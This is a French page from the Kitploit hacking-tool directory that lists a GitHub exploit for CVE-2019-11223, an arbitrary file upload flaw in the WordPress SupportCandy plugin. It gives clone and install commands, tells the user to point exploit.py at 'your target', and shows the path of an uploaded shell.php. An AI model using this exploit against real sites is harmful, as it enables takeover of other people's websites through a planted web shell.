Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-11223 — CVE-2019-11223 - Téléversement arbitraire de fichiers dans le plugin WordPress Support Candy, versions 2.0 et inférieures | Kitploit
Outils/GitHubGitHub/angelctulhu/cve-2019-11223
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubangelctulhu/cve-2019-11223

CVE-2019-11223

CVE-2019-11223 - Téléversement arbitraire de fichiers dans le plugin WordPress Support Candy, versions 2.0 et inférieures

Voir le dépôt
36il y a 7 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-11223

Téléchargement arbitraire de fichiers dans le plugin WordPress SupportCandy version 2.0 et inférieure

  • https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/
  • https://wordpress.org/plugins/supportcandy/#developers
  • https://www.pluginvulnerabilities.com/2019/04/05/arbitrary-file-upload-vulnerability-in-supportcandy/

Pour commencer

root@kitploit:~
git clone https://github.com/AngelCtulhu/CVE-2019-11223.git

Prérequis

root@kitploit:~
pip install requests

Exploitation

dans exploit.py, remplacez localhost par votre cible

root@kitploit:~
python exploit.py
"http:\/\/localhost\/wp-content\/uploads\/wpsc\/1555513124_shell.php"

Auteurs

  • Christian Angel - KALASAG CERT

Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.

Télécharger l’outil